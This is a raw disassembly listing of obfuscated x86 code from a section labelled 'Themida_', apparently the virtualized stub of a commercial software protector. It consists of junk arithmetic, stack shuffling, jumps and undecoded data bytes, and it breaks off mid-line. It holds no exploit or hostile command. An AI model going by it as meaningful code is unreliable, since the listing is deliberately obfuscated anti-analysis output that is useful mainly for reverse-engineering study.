Themida_:loc_55CF8Ej push ebx push 2252h mov [esp], esi mov esi, 6B2C0F47h push ebx mov ebx, 4BBB4F15h xor esi, ebx pop ebx push eax mov eax, 27137C52h xor esi, eax jmp loc_550168 ; --------------------------------------------------------------------------- loc_557689: ; CODE XREF: Themida_:00553821j mov [esp], eax jmp loc_5638FE ; --------------------------------------------------------------------------- aPhJ db 'PhÛJ',0 dw 8900h dd 4832424h, 48B0424h, 4C48324h, 405h, 0EC835200h, 24048904h dd 0FFF695E9h db 0FFh ; --------------------------------------------------------------------------- loc_5576B5: ; CODE XREF: Themida_:00553048j inc edx add edx, 110D01F4h xor edx, 6E9B2A7Ch add edx, 691A6FFAh jmp loc_55B7B6 ; --------------------------------------------------------------------------- db 5, 0BBh, 3Eh dd 0B8051E99h, 2956E76Fh, 6FB82DE8h, 555656E7h, 7F3B9A68h dd 0D5F75D0Ch, 0FADEF581h, 0EE89ED19h, 0E9F0295Dh, 4ABCh ; --------------------------------------------------------------------------- loc_5576F8: ; CODE XREF: Themida_:0055B2DCj or dh, 0FBh sub dh, 8Eh xor bh, dh pop edx or bh, 0EDh or bh, 87h sub bh, 70h mov al, bh pop ebx sub bl, al pop ax push cx jmp loc_5554D5 ; --------------------------------------------------------------------------- dd 1D4B850h, 0A80516A6h, 0E9692442h, 0B052h ; --------------------------------------------------------------------------- loc_557728: ; CODE XREF: Themida_:005632C0j add esp, 4 pop esi mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add eax, 2A2D5DDCh push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push esi jmp loc_558D0B ; --------------------------------------------------------------------------- loc_557755: ; CODE XREF: Themida_:0056081Cj add esp, 4 add dword ptr [esp+4], 7A701432h add [esp+4], edx sub dword ptr [esp+4], 7A701432h push 2C9Eh mov [esp], ebx mov ebx, 2656672Ah add [esp+8], ebx pop ebx jmp loc_55715E ; --------------------------------------------------------------------------- loc_557783: ; CODE XREF: Themida_:00561746j mov [esp], esi jmp loc_561F85 ; --------------------------------------------------------------------------- db 5Eh dd 45ACEE81h, 0C6812372h, 12546EC3h, 0B16CE950h, 895CFFFFh dd 0F5E92434h, 55FFFFF5h, 0F91F5EBDh, 0E9EB0171h, 7E00h ; --------------------------------------------------------------------------- loc_5577B4: ; CODE XREF: Themida_:0055BCC3j add esp, 4 mov eax, [esp] jmp loc_55634A ; --------------------------------------------------------------------------- dw 0BB53h align 8 dd 0FFB198E9h, 0EB815DFFh, 50390B71h, 0FFE244E9h db 0FFh ; --------------------------------------------------------------------------- loc_5577D9: ; CODE XREF: Themida_:0054F431j xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_54F36D ; --------------------------------------------------------------------------- loc_5577E8: ; CODE XREF: Themida_:0055E76Cj add esp, 4 jmp loc_55AACA ; --------------------------------------------------------------------------- dd 89241C89h, 4C381E3h, 50000000h, 33DCE9h, 14CF8100h dd 512E3225h, 846066B9h, 3E1C172h, 0C358E949h, 34FF0000h dd 2434FF24h, 0E924048Bh, 337Ah, 0F3E9D689h, 1FFFFD1h dd 241C8BDDh, 8704C483h, 248B242Ch, 4C28324h, 82F1E9h dd 40500h, 9680000h, 89000075h, 268242Ch, 8B000000h, 8EE9242Ch dd 1FFFFDDh, 241C8BD8h, 4C481h, 4870000h, 24248B24h, 0C8AF0F66h dd 0E99C5166h, 465Ah, 66F0285Bh, 0E924148Bh, 8EBBh, 240C8B66h dd 4EC81h, 1C890000h, 1C8B5424h, 27E95124h db 9Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55789B: ; CODE XREF: Themida_:00557B4Cj push 5426h mov [esp], ebp mov ebp, 4 jmp loc_559C17 ; --------------------------------------------------------------------------- loc_5578AD: ; CODE XREF: Themida_:0055DD72j mov ebp, 354F13BBh dec ebp shl ebp, 1 add ebp, 0CE7B2288h sub edx, ebp pop ebp jmp loc_55BEC8 ; --------------------------------------------------------------------------- db 2Dh dd 1, 8528E9h db 0 ; --------------------------------------------------------------------------- loc_5578CD: ; CODE XREF: Themida_:00560EC8j mov edx, 0EE76C2EEh xor edi, edx mov edx, [esp] add esp, 4 add eax, edi jmp loc_558CAD ; --------------------------------------------------------------------------- dd 16606859h, 14890000h, 0E95A5424h, 1F93h ; --------------------------------------------------------------------------- loc_5578F4: ; CODE XREF: Themida_:00552B5Cj push esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55D360 ; --------------------------------------------------------------------------- db 54h, 58h, 5 dd 4, 8704E883h, 248B2404h, 241C8924h, 1BBh, 0E9D80100h dd 0FFFFD495h, 39E9D6F7h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55792F: ; CODE XREF: Themida_:00552C94j xor eax, edx sub esp, 4 mov [esp], ecx push 985h mov [esp], edi push esi push edx mov edx, 65AB7034h push 235Dh mov [esp], ebx push edx mov edx, 5288356Ah mov ebx, edx pop edx push ecx mov ecx, 0FFFFFFFFh sub ebx, ecx pop ecx inc ebx inc ebx sub esp, 4 mov [esp], eax push ebx jmp loc_55F3F9 ; --------------------------------------------------------------------------- dw 0BD55h dd 67DD17DFh, 0EFE9EF29h, 5B00008Ch, 4EC81h, 69E90000h dd 1FFFFFEh, 43E981D9h, 531D381Fh, 0BBh, 3CB0100h, 0E6E95B03h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55799F: ; CODE XREF: Themida_:005594F0j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ebx pop ecx pop ebx pop edi and eax, ecx pop ecx or edx, eax shl edx, 1 push 661Ah mov [esp], edx mov edx, 0FFFFFFFFh sub [edi+24h], edx jmp loc_55186D ; --------------------------------------------------------------------------- db 0BDh, 54h, 12h aQ7s9s db 'ï7é9˜',0 dw 0C100h dd 0EC8303E5h, 7F3FE904h, 0D3290000h, 7151BF57h, 0FB2968CBh dd 24148B5Fh, 81E38953h, 4C3h, 5002E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557A02: ; CODE XREF: Themida_:0055A419j shr ecx, 7 jmp loc_5522D2 ; --------------------------------------------------------------------------- dw 0C5BFh dd 0F7759C7Bh, 0DA11E9D7h, 2C8BFFFFh, 4C48124h, 81000000h dd 7C28D9EAh, 5AD00123h, 0AB3BE9h, 793BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557A32: ; CODE XREF: Themida_:0054F9A8j push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_5554AD ; --------------------------------------------------------------------------- dw 148Bh aSV db '$éÏ‚',0 align 2 a_kss db '_KSéÏ',0Dh,0 align 2 dw 34FFh aSh7 db '$éh7',0 align 2 loc_557A7A: ; CODE XREF: Themida_:0055D95Aj mov ebx, 16625D67h xor ebx, 4F2D0342h sub ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_5517B6 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0 aDBa db 'D!^)Íí',0 dd 595E2144h, 1DFFED81h, 875B5C00h, 87E9242Ch, 50000099h dd 0CC65A4B8h, 58C72169h, 0FFCE5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_557AC1: ; CODE XREF: Themida_:00558EC7j inc ebx shl ebx, 6 push ebp mov ebp, 67FBB782h sub ebx, ebp pop ebp add edx, ebx push dword ptr [esp] jmp loc_555D88 ; --------------------------------------------------------------------------- loc_557AD8: ; CODE XREF: Themida_:005601A7j xor [esp], esi xor esi, [esp] pop esp jmp loc_5509DA ; --------------------------------------------------------------------------- dd 435AD309h, 167FE9h db 0 ; --------------------------------------------------------------------------- loc_557AED: ; CODE XREF: Themida_:00559519j or edi, 7DA41A36h jmp loc_55DA1B ; --------------------------------------------------------------------------- loc_557AF8: ; CODE XREF: Themida_:0056267Aj mov esi, [esp] sub esp, 4 mov [esp], edi mov edi, esp push ecx mov ecx, 4 jmp loc_562374 ; --------------------------------------------------------------------------- dw 0D601h dd 6E16E95Ah, 685F0000h, 3315h, 0B8240489h, 57F24607h dd 7F54E9h, 24343300h, 0E924248Bh, 0FFFF7839h, 8B5B1988h dd 0DAE9240Ch, 5000008Eh, 0E95378B0h, 0FFFFA7F5h ; --------------------------------------------------------------------------- loc_557B48: ; CODE XREF: Themida_:00560B5Bj pop esp mov [esp], esp jmp loc_55789B ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 81h dd 6E7DE7EDh, 0FFE8017Eh, 815D2434h, 4C4h, 2DD02900h, 36FC1774h dd 733DE95Ah, 0D6010000h, 1A08E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B7A: ; CODE XREF: Themida_:00551456j add edx, 2D91218Bh sub edx, ebp jmp loc_563640 ; --------------------------------------------------------------------------- aSp8 db '\éP8',0 db 0 ; --------------------------------------------------------------------------- loc_557B8D: ; CODE XREF: Themida_:005500D7j add esp, 4 jmp loc_5525C9 ; --------------------------------------------------------------------------- dd 37F68h, 243C8900h, 65E9E789h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557BA7: ; CODE XREF: Themida_:00563E19j sub esp, 4 mov [esp], esi mov esi, esp jmp loc_5620BB ; --------------------------------------------------------------------------- dd 5701ED83h, 8338E9h db 0 ; --------------------------------------------------------------------------- loc_557BBD: ; CODE XREF: Themida_:0055B636j pop edx jmp loc_55AF6B ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD359h, 779BE99Ch, 0E983FFFFh, 240C8704h dd 0A16EE95Ch, 0D3F7FFFFh, 0FFFFEB81h, 5155FFFFh, 0B6E2E9h dd 4C58100h, 83000000h, 348904ECh, 0D2D1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557BFE: ; CODE XREF: Themida_:00552E81j add ebp, eax pop eax pop edx xchg ebp, [esp] pop esp mov [esp], ecx push 3453799Ch pop ecx add eax, ecx jmp loc_563009 ; --------------------------------------------------------------------------- dw 0C3FEh dd 5166C3FEh, 0CB0052B1h, 0DA085966h, 4EC815Bh, 89000000h dd 0C4E9241Ch, 6600007Ch, 57240C8Bh, 0E95F54h, 8100006Ah dd 4C4h, 0B5E98100h, 293B8169h, 0B5C181F1h, 0E93B8169h dd 0A15Ah ; --------------------------------------------------------------------------- loc_557C58: ; CODE XREF: Themida_:0055D279j add ebp, 4 xchg ebp, [esp] pop esp push ebp jmp loc_55A91B ; --------------------------------------------------------------------------- dd 424FF781h, 0F9296D0Eh, 1E9815Fh, 81000000h, 735765F1h dd 0C7C3818Eh, 15EFE74h, 0C7EB81CBh, 0E95EFE74h, 0FFFF7A6Ch dd 0E9243487h, 6613h, 0B317E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C9E: ; CODE XREF: Themida_:00552723j add esp, 4 jmp loc_550520 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 0D6E9D501h, 5700009Fh, 4BFh, 5FFB0100h, 4C381h, 0FF530000h dd 5B042474h, 5625E9h, 7D4FBE00h, 0E6E95D92h, 0BFFFFFA7h dd 4, 335FF801h, 4312404h, 24043324h, 6824248Bh, 2CC3h dd 89240489h, 4BF57E0h, 53000000h, 4572E9h, 0E3895300h dd 0FFB4D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_557D09: ; CODE XREF: Themida_:0055048Cj mov ebx, 39A45868h add ebx, 1 push edx mov edx, 7DAB207Ah jmp loc_563F4E ; --------------------------------------------------------------------------- loc_557D1C: ; CODE XREF: Themida_:005506C3j pop eax push edi mov edi, 8DB025Bh xor edi, 8DB025Fh add eax, edi pop edi add eax, 2 xchg eax, [esp] jmp loc_555649 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 0ACE957h, 48F0000h, 83685C24h, 0E9000032h, 0FFFF8D29h ; --------------------------------------------------------------------------- loc_557D50: ; CODE XREF: Themida_:00557560j jz loc_55D605 push ebx push 1Ch push dword ptr [esp] mov ebx, [esp] jmp loc_561911 ; --------------------------------------------------------------------------- loc_557D67: ; CODE XREF: Themida_:00551B0Ej push ecx mov ecx, 3F430FF9h add [esp+0Ch], ecx mov ecx, [esp] add esp, 4 pop ebx add dword ptr [esp+4], 6393758Eh sub [esp+4], ebp sub dword ptr [esp+4], 6393758Eh add dword ptr [esp+4], 3E4D5408h mov ebp, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55380D ; --------------------------------------------------------------------------- loc_557DBB: ; CODE XREF: Themida_:00556E19j inc dl xor dl, 12h sub dl, 16h mov ch, dl jmp loc_553FA6 ; --------------------------------------------------------------------------- dw 0D101h dd 6BEABE56h, 0F1292801h, 0BE56525Eh, 61F312A0h, 0EEC1DEF7h dd 54C68103h, 89EC3E62h, 0D103E9F2h, 0E789FFFFh, 4C781h dd 0C7830000h, 243C8704h, 240C875Ch, 8124248Bh, 4ECh, 241C8900h dd 8904EC83h, 0FBE9240Ch, 8900005Bh, 0FE015EF7h, 0FFDDA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_557E21: ; CODE XREF: Themida_:00551EA9j or edi, 1CAA15ADh sub edi, 0F2AAC24Ch jmp loc_5545CA ; --------------------------------------------------------------------------- loc_557E32: ; CODE XREF: Themida_:0056105Bj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax xor [esp], ecx xor ecx, [esp] jmp loc_55F5AC ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch aSrv db '$éàv',0 align 2 dw 34FFh aZs db '$Zé)Å',0 dw 8900h dd 82B22414h, 8054B353h, 0CBFE03EBh, 0E3C0DBF6h, 0C8CB8006h dd 304BF380h, 0D1885BDAh, 5C79E95Ah, 0C2810000h, 5F1CD8D7h dd 7F3EC381h, 0D30123E2h, 7F3EEB81h, 34FF23E2h, 24148B24h dd 0FF8147E9h, 79B22DFFh, 0C33196DEh, 0FFDB3FE9h db 0FFh ; --------------------------------------------------------------------------- loc_557EA9: ; CODE XREF: Themida_:0055C233j push ecx mov ecx, 4 add [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop edx push ebp mov ebp, esp push ebx jmp loc_563FEA ; --------------------------------------------------------------------------- loc_557EC6: ; CODE XREF: Themida_:0055DEFCj mov eax, 4CA5192Dh jmp loc_5610B6 ; --------------------------------------------------------------------------- dd 0F569EB81h, 38E955AFh, 89000073h, 1CF7243Ch, 243C8B24h dd 4C481h, 0C7810000h, 0AE3A5D62h, 6D04B32Dh, 56F8012Eh dd 6D04B3BEh, 5EF0012Eh, 0E92434FFh, 0FFFFF317h ; --------------------------------------------------------------------------- loc_557F08: ; CODE XREF: Themida_:00559FDEj add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] add eax, edi mov edi, [esp] add esp, 4 add ebx, 49AE4EA0h jmp loc_5546CA ; --------------------------------------------------------------------------- loc_557F2D: ; CODE XREF: Themida_:00554DB8j push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] add ebx, eax push dword ptr [esp] pop eax add esp, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] movzx ax, byte ptr [eax] jmp loc_562DB7 ; --------------------------------------------------------------------------- loc_557F5F: ; CODE XREF: Themida_:0055A14Fj dec esi add esi, 0FE00B03Fh mov ebp, esi jmp loc_55CCB3 ; --------------------------------------------------------------------------- db 81h, 0F5h, 60h aSs db 'Ñ<‘é&Á',0 align 4 dd 0F66EF480h, 9E04E9DCh, 248B0000h, 240C8924h, 42474FFh dd 0FFC35BE9h db 0FFh ; --------------------------------------------------------------------------- loc_557F91: ; CODE XREF: Themida_:005500F1j pop edi pop esi and edx, 238E3E3Eh push ebp jmp loc_556FE9 ; --------------------------------------------------------------------------- loc_557F9F: ; CODE XREF: Themida_:0055A8F7j dec edx push edx xchg ebp, [esp] not ebp xchg ebp, [esp] pop edx push ecx jmp loc_55C39F ; --------------------------------------------------------------------------- loc_557FB0: ; CODE XREF: Themida_:00553476j push esp jmp loc_55AC0F ; --------------------------------------------------------------------------- dw 0D931h dd 2444815Bh, 91654A04h, 244C0159h, 4EC8304h, 0BA241489h dd 5991654Ah, 8245429h, 8E6AE95Ah, 24B50000h, 5966E800h dd 48BC120h, 4C48324h, 73F1E9h, 4C28100h, 83000000h, 148704C2h dd 24248B24h, 5002E1C1h, 0BD51E9h, 41C6800h, 14890000h dd 9353E924h, 1489FFFFh, 0FE685124h, 5910495Eh, 55D6F181h dd 0E1814D08h, 319B4481h, 5F18141h, 89110100h, 540159CAh dd 8F5A0424h, 53512404h, 4C08D5BBh, 21FCE922h, 478F0000h dd 731FE940h, 74FFFFFFh, 1C8B0424h, 4C48324h, 5C24048Fh dd 0E99CC138h, 0FFFF7309h, 4EC81h, 4890000h, 3C6CB824h dd 0E0C104DBh, 0A7A6E906h, 89570000h, 4C781E7h, 83000000h dd 3C8704EFh, 48C7E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55808E: ; CODE XREF: Themida_:00561D1Ej add edx, 4 xchg edx, [esp] pop esp dec eax jmp loc_55B54F ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF72CDh ; --------------------------------------------------------------------------- loc_5580A0: ; CODE XREF: Themida_:0055F0E1j mov ecx, [esp] jmp loc_553034 ; --------------------------------------------------------------------------- dd 72E9C601h, 89FFFFE8h, 7F9FE9CFh, 23BB0000h, 814E2003h dd 5570DDEBh, 0BF577Bh, 29000000h, 0E9FB89DFh, 0FFFFF99Ah ; --------------------------------------------------------------------------- loc_5580D0: ; CODE XREF: Themida_:00554CF1j pop ebx sub esp, 4 mov [esp], ecx mov ecx, 778F2954h sub eax, 1AA5657Bh jmp loc_55D2CF ; --------------------------------------------------------------------------- db 51h, 0B9h, 0D3h dd 894DD21Bh, 0E28159CAh, 56566B37h, 5866BB53h, 0F3816A9Ah dd 5F2F0F22h, 8DE9DA01h, 4300006Dh, 0E1F0F381h, 0D801A90Dh dd 0F3E9405Bh db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55811B: ; CODE XREF: Themida_:0055FAE3j add ebx, ecx push dword ptr [esp] pop ecx push esi mov esi, esp push edx jmp loc_550712 ; --------------------------------------------------------------------------- dw 474Fh dd 0EFBE5647h, 0E9321D10h, 0FFFFCA4Eh, 0D000BFB2h, 0C8B5A66h dd 5C5EE924h, 0C2810000h, 4, 4EA81h, 0FF520000h, 5A042474h dd 5C24048Fh, 89243C89h, 4BA52E7h, 1000000h, 24148BD7h dd 8304C483h, 0E95704EFh, 0B621h, 6624248Bh, 0E9240C89h dd 0FFFF71E9h ; --------------------------------------------------------------------------- loc_558184: ; CODE XREF: Themida_:00552A5Aj mov [esp], edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp push ebp mov ebp, 4 sub esi, 567052A6h add esi, ebp add esi, 567052A6h pop ebp sub esp, 4 mov [esp], ebp jmp loc_5534C8 ; --------------------------------------------------------------------------- loc_5581BF: ; CODE XREF: Themida_:0055F472j pop edi pop dword ptr [esp] jmp loc_556DCF ; --------------------------------------------------------------------------- dd 50240C89h, 0C1446DB8h, 0BA0CE907h, 0E2890000h, 4C281h dd 0C2830000h, 24148704h, 7183E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581EA: ; CODE XREF: Themida_:00560E7Fj pop esp jmp loc_559F2A ; --------------------------------------------------------------------------- loc_5581F0: ; CODE XREF: Themida_:0054F90Aj shr edx, 1 shr edx, 3 sub edx, 0AD87724h add esi, 773A4E47h add esi, edx sub esi, 773A4E47h pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_560942 ; --------------------------------------------------------------------------- dd 8324048Bh, 48F04C4h, 24248B24h, 0FF2434FFh, 0C8B2434h dd 0D262E924h, 0C529FFFFh, 82C58158h, 29074219h, 0B504E9FDh dd 0C4830000h, 6EF96804h, 0C890000h, 4B924h, 0CD010000h dd 66B7E9h, 4C28100h, 68000000h, 4737h, 0E9241C89h, 0FFFFFE4Ah dd 42B0BD55h, 0C5813D41h, 0E850EC6h, 887C581h, 0CD811ACEh dd 2D02A69h, 5654E581h, 0F5817DD4h, 64D45250h, 515DE801h dd 4B9h, 59C82900h, 5C240487h, 0BD242C89h, 1C606F66h, 862E9h db 0 ; --------------------------------------------------------------------------- loc_5582AD: ; CODE XREF: Themida_:0055ABD8j mov esi, 45427696h and esi, 688E6DA1h and esi, 3DDA3517h not esi jmp loc_56186F ; --------------------------------------------------------------------------- db 5Bh, 59h, 28h dd 0F5866E3h, 19E9C0B6h, 0FFFFFF76h, 589D1C77h, 9C240411h dd 0FF708CE9h, 0ABC581FFh, 0E91B7C7Ah, 0FFFF98DFh, 42474FFh dd 0A689E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5582F6: ; CODE XREF: Themida_:0055E8D1j mov esp, [esp] push esi push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop esi add esp, 4 loc_55830E: ; CODE XREF: Themida_:0055261Fj ; Themida_:0055C3B2j sub esp, 4 mov [esp], edx push 3AA8h mov [esp], ebp push 425404Fh mov ebp, [esp] add esp, 4 and ebp, 651C74FCh push edx mov edx, 3DC22BEBh sub ebp, edx push dword ptr [esp] pop edx jmp loc_55C0A3 ; --------------------------------------------------------------------------- dw 0A4BBh dd 810C325Dh, 809BDE3h, 36F38101h, 4B051336h, 5452F381h dd 39E97D67h, 8B0000A3h, 6856243Ch, 0D73h, 0E9242489h dd 6E52h, 2C481h, 8F660000h, 31662404h, 0F03166C6h, 66C63166h dd 66735668h, 0E9240489h, 0FFFFE406h ; --------------------------------------------------------------------------- loc_55838C: ; CODE XREF: Themida_:0055F431j mov eax, 726B03F2h sub ebx, eax pop eax mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_54F9BA ; --------------------------------------------------------------------------- aSJ db ')\$',8,'[é',0Dh,'J',0 dd 24048900h, 30B8h, 51D00100h, 0B9h, 89C10100h, 240C8B19h dd 4C481h, 48B0000h, 0E6895624h, 7F42E951h, 0D1F7FFFFh dd 5561E181h, 0C4E97FB8h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5583EF: ; CODE XREF: Themida_:0055862Dj add esp, 4 push ebx mov ebx, 4B435FD0h jmp loc_555464 ; --------------------------------------------------------------------------- loc_558400: ; CODE XREF: Themida_:0055E4EBj pop esp jmp loc_54F36D ; --------------------------------------------------------------------------- loc_558406: ; CODE XREF: Themida_:0055375Aj sub esp, 4 mov [esp], ecx push esp push dword ptr [esp] jmp loc_561FAB ; --------------------------------------------------------------------------- loc_558415: ; CODE XREF: Themida_:00555F82j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_560EFB ; --------------------------------------------------------------------------- loc_55842B: ; CODE XREF: Themida_:00559D01j mov [esp], esi jmp loc_552B19 ; --------------------------------------------------------------------------- db 8Fh dd 0DD74E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55843A: ; CODE XREF: Themida_:0055E2D1j push edx jmp loc_5603CF ; --------------------------------------------------------------------------- dd 47EB8159h, 0E96AE87Eh, 0FFFF89D1h ; --------------------------------------------------------------------------- loc_55844C: ; CODE XREF: Themida_:005522CDj xor ecx, ebx pop ebx sub eax, 26C50248h add eax, ecx push ebx mov ebx, 57AF335Eh jmp loc_55E095 ; --------------------------------------------------------------------------- dd offset dword_43C25C+5F0Ch align 2 dw 489h dd 49BCB824h, 0BB5341C0h, 6CF821BEh, 0FB4E381h, 54E92A0Bh dd 80000047h, 6AE998F6h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558487: ; CODE XREF: Themida_:0055B04Aj add esp, 4 add ebp, 57D67833h add ebp, esi push ebx jmp loc_559D1A ; --------------------------------------------------------------------------- db 89h dd 74FF241Ch, 8F5B0424h, 0D3F72404h, 5D241C87h, 4EC81h dd 1C890000h, 0F7BE5624h, 0BB147137h, 3AB16F62h, 575EF331h dd 56834BBFh, 0E9FB01D1h, 0FFFF9019h, 81243C8Bh, 4C4h dd 1316800h, 34890000h, 4EC8124h, 89000000h, 86E9243Ch db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5584EF: ; CODE XREF: Themida_:0055FA01j mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 jmp loc_56015C ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 0E9240487h, 6C69h, 24CD68h, 242C8900h, 686EBFBDh, 2C46E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_558522: ; CODE XREF: Themida_:00559C90j push dword ptr [eax] pop ecx push dword ptr [esp] jmp loc_554724 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 4C481h, 0BF570000h, 2, 0E95FFA29h, 0FFFFBB60h, 4C681h dd 2DE90000h, 8B000083h, 0C483241Ch, 66E30004h, 2EC8158h dd 66000000h, 51240489h, 0C181E189h, 4, 2BBBA52h, 0E7E922A0h dd 66FFFFD3h, 5024048Bh, 2434FF54h, 0E2895258h, 4C281h dd 0EA830000h, 24148704h, 2434895Ch, 0BF57E689h, 3E1E655Dh dd 0F7814F4Fh, 3E1E655Fh, 77E9FE01h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5585AB: ; CODE XREF: Themida_:0055EEFBj xor cl, 0CBh jmp loc_5570B4 ; --------------------------------------------------------------------------- loc_5585B3: ; CODE XREF: Themida_:00554711j sub esp, 4 jmp loc_553A49 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 0FF2434FFh, 3CE92434h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5585CF: ; CODE XREF: Themida_:0056103Cj mov ebx, 70EC07BEh push ebp mov ebp, 1DF83995h not ebp xor ebp, 294C47A9h and ebp, 6C821718h xor ebp, 48BF4AB1h add ebx, ebp pop ebp sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], esi mov ebx, [esp] push ecx push esp pop ecx jmp loc_55FD14 ; --------------------------------------------------------------------------- loc_55860B: ; CODE XREF: Themida_:0054FD97j xchg ebp, [esp] pop esp jmp loc_552C2E ; --------------------------------------------------------------------------- loc_558614: ; CODE XREF: Themida_:00552158j mov eax, 71A2485Eh jmp loc_5545ED ; --------------------------------------------------------------------------- loc_55861E: ; CODE XREF: Themida_:00557161j pop edx sub esp, 4 jmp loc_55A31F ; --------------------------------------------------------------------------- loc_55862A: ; CODE XREF: Themida_:00556EA4j mov ebp, [esp] jmp loc_5583EF ; --------------------------------------------------------------------------- dw 0FF5Dh dd 34FF2434h, 0C4835824h, 0E0895004h, 4EC81h, 9AE90000h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55864B: ; CODE XREF: Themida_:0055493Aj add esp, 4 pop dword ptr [esp] pop esp push cx mov cl, 0C0h add bl, cl pop cx push small 7201h mov [esp], dx push small 40B2h jmp loc_553507 ; --------------------------------------------------------------------------- db 59h dd 0E2BDF681h, 0F7892CF7h, 0BA524F5Eh, 4AFF2485h, 0F8E9D721h dd 8100003Dh, 4C4h, 4BA5200h, 2D000000h, 4AF7429Dh, 9D05D001h dd 0FF4AF742h, 835A2434h, 0AAE904C4h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5586A7: ; CODE XREF: Themida_:00563C4Bj push 2FEBh jmp loc_55A840 ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EAh dd 681A5ECFh, 0C281F229h, 681A5ECFh, 67E9D689h db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5586C7: ; CODE XREF: Themida_:0055E1C9j mov ecx, edi pop edi and ecx, 651B3E87h sub ecx, 21131BFCh jmp loc_553320 ; --------------------------------------------------------------------------- loc_5586DB: ; CODE XREF: Themida_:005533EAj add edi, 2B7E0678h sub edi, esi sub edi, 2B7E0678h pop esi pop edx xor [esp+4], edi pop edi push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp add ebp, 4 push edx mov edx, 52441D14h and edx, 189709C1h jmp loc_55BEA1 ; --------------------------------------------------------------------------- a1uSdv db '1î]é„V',0 align 4 aW db 'W¿<',0 dd 0FB890000h, 5F2434FFh, 815E5456h, 4C6h, 4C68100h, 87000000h dd 248B2434h, 0FD23E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55873E: ; CODE XREF: Themida_:005545F1j pop eax add [esp+4], edx jmp loc_55F3D1 ; --------------------------------------------------------------------------- dd 4C281h, 0EA830000h, 24148704h, 243C895Ch, 2BD55h, 0EF890000h dd 48512D5Dh, 0F8015F15h, 0AA91E9h db 0 ; --------------------------------------------------------------------------- loc_55876D: ; CODE XREF: Themida_:0054FA3Cj push 703C5FAFh jmp loc_5532A2 ; --------------------------------------------------------------------------- db 0B2h dd 5AD78817h, 0FFDC8CE9h, 243489FFh, 4BEh, 8BF30100h, 54532434h dd 4C3815Bh, 55000000h, 4BDh, 1CEFE900h, 0C2800000h, 3A23E9FFh dd 0E8010000h, 75245405h, 39A72D38h, 8F055CFBh, 0E909C413h dd 0FFFFDD2Eh, 335AD601h, 34312434h, 24343324h, 0E9CFFE5Ch dd 0FFFF84CEh ; --------------------------------------------------------------------------- loc_5587D4: ; CODE XREF: Themida_:00559C57j add esi, 769E1F6Fh pop ecx sub esi, edi add esi, 20760112h pop edi push edx jmp loc_55265E ; --------------------------------------------------------------------------- dw 0F8B9h a1Chmw db '1œChŒw',0 align 4 dd 50242C89h, 0FD281EB8h, 0D7E3BD55h, 4CE9AA02h, 29000022h dd 0E18DE9C2h, 